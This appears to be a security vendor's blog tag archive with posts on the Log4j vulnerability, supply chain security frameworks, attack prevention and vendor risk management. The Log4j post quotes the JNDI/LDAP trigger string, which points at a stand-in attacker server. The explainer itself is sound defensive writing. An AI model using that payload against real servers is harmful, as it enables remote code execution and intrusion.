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Tag Archives: TPRM

What is Log4j vulnerability? Do you need to worry?

Findings VDP | log4j mitigation

Log4j vulnerability,  CVE-2021-44228, became public on December 9, 2021.

This easily triggered log4j vulnerability can be used to gain RCE (remote code execution) in vulnerable systems when the Apache Log4j utility is used. Other Apache products are vulnerable as well, such as Apache Solr.

 

Log4j is easily triggered just by log a special string {jndi:ldap://<attacker’s server>/a}; it impacts Apache Log4j version 2.0-beta9 to 2.15.0-rc, and is common in enterprise software and cloud servers across industry. Unless fixed, it enables easy access to internal networks that can end up with valuable data theft, malware implementation, crucial information deletion, and more.

 

This vulnerability is so critical, that it received the rare 10 out of 10 CVSS scores.

 

Fortunately, not everyone is affected, and mitigation can be easily applied, but first, it is recommended to check if you have been exposed to log4j easily, using Findings’ log4j free VDaaS tool.

 

For more information, feel free to visit our log4j information page

A Complete Checklist To Supply Chain Security

A complete checklist for supply chain security | Findings - Supply Chain Security Automation

Cybersecurity compliance frameworks and standards are a great starting point for managing supply chain security risks. But if your security strategy hinges solely on frameworks, you’re doing it wrong.

As The Cybersecurity Place puts it, “compliance alone won’t save you” from modern security risks.

Indeed, while embracing a cybersecurity framework is an important — and, for many organizations, necessary — first step toward securing the supply chain, businesses shoot themselves in the foot if they stop with framework adoption alone. No matter which framework you use internally, or which frameworks you require your vendors to comply with, the framework on its own is of limited value. You must also implement processes that actually operationalize the framework, allowing you to enforce compliance among your vendors.

Let’s take a look at what goes into a complete supply chain security strategy. As we’ll see, it starts with cybersecurity frameworks like NIST and ENISA, but it extends far beyond those frameworks alone.

The core components of a cybersecurity framework: The NIST example

Cybersecurity frameworks are an excellent foundation that helps businesses define overarching supply chain security principles.

For example, the NIST framework, which is popular among U.S. companies (European companies tend to use ENISA, which is similar to NIST), defines rules designed to help businesses achieve four key goals:

  • Identify: NIST requires processes that allow organizations to identify and understand their cybersecurity risks.
  • Protect: After risks have been identified, NIST requires businesses to take steps to mitigate them in order to improve their cybersecurity posture.
  • Detect: As not all risks can be identified and mitigated, NIST also requires ongoing efforts to detect active threats.
  • Respond: When active threats have been detected, NIST requires responses that can contain and eliminate them.

By adopting a framework like NIST or ENISA, then, businesses gain a high-level architecture that helps them plan a cybersecurity strategy.

Processing tools for supply chain security

The main limitation of frameworks alone is that they provide little if any specific guidance on how to turn high-level cybersecurity principles into practice. As a result, businesses also need to implement security processing tools that allow them to operationalize cybersecurity practices in ways that align with framework requirements.

Processing tools do this in the context of supply chain security by providing:

  • Vulnerability assessment: Processing tools identify risks within the products and services that third-party vendors supply to a business.
  • Coverage assessment: Processing tools help identify situations where vendors lack effective cybersecurity coverage.
  • Visibility assessment: Processing tools enable businesses to profile their vendors and suppliers in order to understand which risks exist within their systems — and which risks could, by extension, flow down the supply chain.
  • Business alignment: With processing tools, businesses can determine which risks in the supply chain pose the greatest threats to their operations. This context is essential because not all vendors and risks are of equal importance within a supply chain.

By providing this functionality in an automated way, processing tools go far in closing the gap between principle and practice. Indeed, as the SANS Institute says, automation is the only way to enforce security compliance mandates in complicated contexts like supply chains.

Managing contractual requirements

What do you do when processing tools reveal that vendors are not fully adhering to your cybersecurity requirements?

That’s where contracts and evidence come into play. Companies must maintain documents and signatures related to the security frameworks they adopt within their supply chains, then use them to enforce compliance when violations occur. Contracts also play an important role in determining which disclosures are required in the event of a supply chain breach.

Remember to update your contracts if, for example, you adopt a newer version of a cybersecurity framework or change your supply chain in a way that imposes new compliance requirements or verifications.

Most large organizations manage contractual requirements through a dedicated security team or CISO. At smaller organizations, a procurement team or IT team typically handles this responsibility. Your specific approach to vendor contract management is not as important as ensuring there is a systematic process in place for defining and enforcing contractual security agreements across your supply chain.

Supply chain security management: Responding to a crisis

The final key step in managing supply chain risks is having a plan in place to respond to incidents when they occur. You don’t want to wait for a breach to decide what to disclose, or how to contain the threat and so on.

Your response plan should define the following points:

  • Who will perform which tasks in response to an incident. Remember that many incidents require responses not just from technical stakeholders, but from other departments such as the legal, PR and others.
  • Which vendors you will use as a backup in the event that one key vendor is breached.
  • How the response will be documented.
  • How you will determine whether public disclosure of a breach is required, and how you will manage that disclosure.

In addition to developing a response plan, run drills so that your team can practice responding to a supply chain breach, before a real-life incident occurs. You should also strive to keep your team focused on the big picture. As you can’t predict the exact nature of a breach, it’s best to learn how to think holistically and creatively about managing incidents, rather than investing in rote reaction plans that may be too specific to apply to a given incident.

Last but not least, ensure that you have a response plan that will allow you to react quickly and effectively when a major security incident occurs within your supply chain. Your goal should be to resolve the incident in a way that protects your operations, customers and reputation, while also demonstrating to partners that supply chain security is a key priority.

How Your Competitors Are Preventing Supply Chain Attacks

How Your Competitors Are Preventing Supply Chain Attacks | Findings.co

Supply chain security threats are like the flu: Sooner or later, they’re bound to impact you, no matter how hard you try to avoid them.

Indeed, by their very nature, supply chain attacks are more likely to affect large numbers of organizations than most other types of breaches. The majority of cyber threats target individual companies. But a single supply chain attack could impact hundreds or thousands of businesses at once if it compromises software or data within their supply chains.

For proof of just how pervasive supply chain security risks are, you need only look at recent examples. The SolarWinds breach impacted dozens of organizations, including major U.S. federal agencies. The Kaseya breach extended to thousands of businesses spread throughout the world that use Kaseya’s software. Expect more figures like these as the prevalence of supply chain attacks — a threat that one major security research report called “staggeringly high” —continues to grow at rates approaching 400 percent.

That’s the bad news. The good news is that, as explained below, there are effective steps you can take to protect your business from supply chain risks. They won’t completely guarantee immunity from attack, but they’ll go a long way toward mitigating the threat.

Why supply chains are so risky?

The first step in managing supply chain threats is understanding what makes supply chains inherently risky.


The reasons are simple enough: Supply chains typically involve many suppliers, and it’s difficult to maintain visibility into the security state of each of them.


By comparison, it’s relatively easy to secure your own IT assets — meaning those you deploy and manage yourself. But it’s much harder to ensure that your vendors’ and suppliers’ IT environments are secure — especially when you have dozens or hundreds of vendors in your supply chain.

Managing supply chain security: The typical response

The typical playbook for managing supply chain risks includes some basic steps:

  • Compliance: Requiring suppliers to adhere to cybersecurity standards like the U.S. government’s NIST framework or the E.U.’s ENISA/ISO can help to reduce the prevalence of threats. But actually enforcing compliance across third-party vendors’ businesses can be difficult.
  • Vetting: Businesses often enforce vetting processes for new vendors. That’s good, but it doesn’t guarantee that you’ll avoid risks once a vendor relationship has already been established.
  • Cybersecurity teams: Investing in cybersecurity expertise can help harden IT assets against attack. But your own cybersecurity experts can’t do much to protect the assets of your vendors.

These are all useful strategies for managing supply chain risks. But they’re not enough on their own to make your security posture as strong as possible.

Going further to secure the supply chain

Beyond those basic supply chain security steps, businesses should implement additional measures to make their supply chains as safe as possible.

Access control

Businesses should implement tight access controls to govern who can access their systems. Access should be defined in a granular way and restricted by the principle of least privilege.

In many countries, regulations ensure that supply chain cyber security is legally required. Companies must comply with a security framework and checklist. Once this checklist is completed the vendor can prove increased controls are in place.  While strong access controls won’t prevent risks in your supply chain, they will mitigate the chances that a vendor’s cybersecurity problem becomes your cybersecurity problem.

Technology investment

Given the complexity and scale of modern supply chains, managing their security manually is not feasible in most cases. That’s why it’s wise to invest in tools that are purpose-built to assess and manage supply chain risks automatically, across all vendors’ IT estates.

Maximum visibility and coverage

Along similar lines, businesses should leverage automation technology to maximize their ability to identify and track security risks within their supply chains. This is also a process that you can’t handle manually unless you have a very simple supply chain.

Vendor Education

In addition to asking your vendors to be secure, consider providing educational resources that explain exactly how they should secure their assets. These resources could be based on cybersecurity standards that you want to enforce across your supply chain. Your vendor’s transparency should a breach occur could provide valuable feedback to others in that supply chain.

Assess vendor risk

Not all vendors pose the same level of risk. Risks vary depending on which types of data and applications the vendors supply or integrate with, and how important the vendors are to your business.

This means you should contextualize vendor risk and enforce security safeguards accordingly. High-risk vendors may require stronger oversight than those whose assets play a less central role in your operations.

Cybersecurity drills

Planning how to respond to a supply chain breach, then practicing the response via cybersecurity drills, goes a long way toward helping ensure a fast and effective resolution when attacks occur. In particular, your response plan and drills should address:

  • Business risks: It should be easy to identify which parts of the business are impacted by a breach and what level of risk their disruption poses to the overall business.
  • Manual vs. automated processes: Which response processes can be automated, and which will need to be performed manually? You’ll want to answer these questions before the breach occurs.
  • Mediation: Which teams or stakeholders will take the lead in managing a supply chain breach? If your organization does not have a CISO in place, then another person from either procurement or the I.T.  department could be appointed. Immediate decision-making in a crisis is critical.
  • Disclosure: How will you announce a breach to your customers and partners? How much information should you include about the breach? Different types of breaches and vendors may require different disclosures.

Response drills prepare you to remove risky components from your supply chain rapidly with minimal disruption to business operations.

Supply chain assessment

The most secure business is one that continuously assesses its supply chain to identify its weakest links from a security perspective. Again, not all vendors pose the same level of risk, and not all vendors can be assessed in the same way. You must implement an assessment process tailored to your particular supply chain.

As CIO Review explains, “While threats cannot be completely eliminated, supply chain security can contribute to a more secure, efficient flow of goods that can recover quickly from disruptions.”

In other words, the fact that supply chain security is impossible to guarantee completely is not an excuse for ignoring it. It’s absolutely critical to take not only basic steps for defending your supply chain, but also implementing advanced measures — such as practicing responses and automating supply chain visibility as much as possible — that can bring your risks as close as possible to zero.

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Why VRM ?

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What is VRM, and how to start applying it to your supply chain risk?

A vendor notified a global enterprise that it suffered a data breach. That vendor was recorded at the Enterprise’s VRM system, which allowed the security and risk personnel to quickly assess the exposure and act accordingly. This manifestation of proper VRM process is what’s expected of modern enterprises and organizations, but sadly, it is very rare.

Gartner defines VRM (Vendor Risk Management) as “the process of ensuring that the use of service providers and IT suppliers does not create an unacceptable potential for business disruption or a negative impact on business performance”.

In a cybersecurity context, this means that organizations needs to ensure that elements in their supply chain, such as vendors, partners, integrated systems and others, does not expose them to unnecessary cyber risks. VRM (which is part of Risk Management) has been in the shadow of the more mainstream IT security, until very recently.

Organizations have invested heavily in securing their own perimeter, training personnel and refining their security procedures, all in the hope of thwarting an attack from an outside hacker. But since cybercriminals are like water- meaning, they always seek the path of less resistance, they found that they could gain entrance into heavily defended organizations by working their way up the supply chain. There, they could identify weaker entities with lesser security mechanisms, and utilize these to gain entry to their final objective. As of 2018, Supply chain attacks have increased 78 percent between 2017 and 2018, and a recent report states that Half of All Attacks in 2019 target the Supply Chain. This fact, alongside some very notable cyber breaches that were manifested through the supply chain (Target was infected via an HVAC maintenance contractor who had weak cybersecurity, WIPRO who was hacked and utilize for further attacks and its customers, etc. ) have brought this subject to the attention of boards, CISOs, Legal and Risk professionals across the world.

But awareness is not enough. Organizations need to understand if they should address this risk and how to mitigate it. Some organizations are mandated by law or regulation to engage in Vendor Risk Management. These include Critical National infrastructure, defense and homeland security industries as well as financial, healthcare entities. Others must address VRM as part of their obligation to adhere to GDPR and other privacy policies and regulations, such as the evolving CCPA. We will cover these aspects in follow- up blog posts. But when an organization decided it needs to address the VRM issue, it is usually shocked by the sheer volume of work ahead. This is a combination of the number of vendors that require validation (could easily reach hundreds for a medium sized organization) and the manual labor required to validate each and every vendor. Traditional VRM process required that a detailed questionnaire will be sent to the vendor, who would then fill to the best of his understanding. The questionnaire will then be sent back to the organization for processing, which required painstaking manual data entry into the organization’s own systems. This is a lengthy and expensive process that could have negative impact on business cycle and project execution times. Furthermore, the process must be revisited on a annual basis, or when switching (or adding) new vendors to the supply chain.

Faced with these challenges, organizations choose to prioritize, and focus their attention on the largest vendors or the ones perceived to pose the greatest risk. It is not uncommon for organizations to focus their VRM process on just 5% of their supply chain, leaving the bulk of their supply chain unaccounted for. Organization that choose to “Roll the dice” and play the Cost VS. Risk game, could find themselves in the crosshairs should they happen to miss out on that one vendor that eventually caused the breach.

Findings approaches this challenge with the view that ALL vendors must verified. We’ve built our technology platform to enable organization to automatically assess their exposure. Moreover, we’ve made it exceptionally easy for vendors to assess themselves. By removing friction we’ve enabled organizations to effectively assess their entire supply chain, without having to “Gamble” on who to check. In the case described at the beginning of this article, a global enterprise have used our system to vet all of its supply chain. That, of course, wouldn’t have been possible to achieve in the “old” (manual) methods. Having the vendor documented in their VRM system allowed them to quickly respond and communicate the necessary actions, both internally (to board of directors and management) and external (To customers, partners and authorities). Likely, the status of that particular vendor was such that no additional action was required. Had it not been validated and recorded in the VRM system, the process of understanding the exposure “post-mortem” would have taken days and not the 15 minutes that it took. Findings solution enabled the following benefits:

  • Complete coverage
  • Accuracy
  • Reduced time for the initial validation process
  • Reduced time of response once an event has occurred.

VRM technology supports enterprises that must assess, monitor and manage their risk exposure from third-party suppliers (TPSs) that provide IT products and services, or that have access to enterprise information. However, without an automated, scalable mechanism to support the data input, they are under-utilized and provide only partial coverage. Findings enables organization to fully utilize these solutions and gain a clear understating of their entire supply chain exposure.

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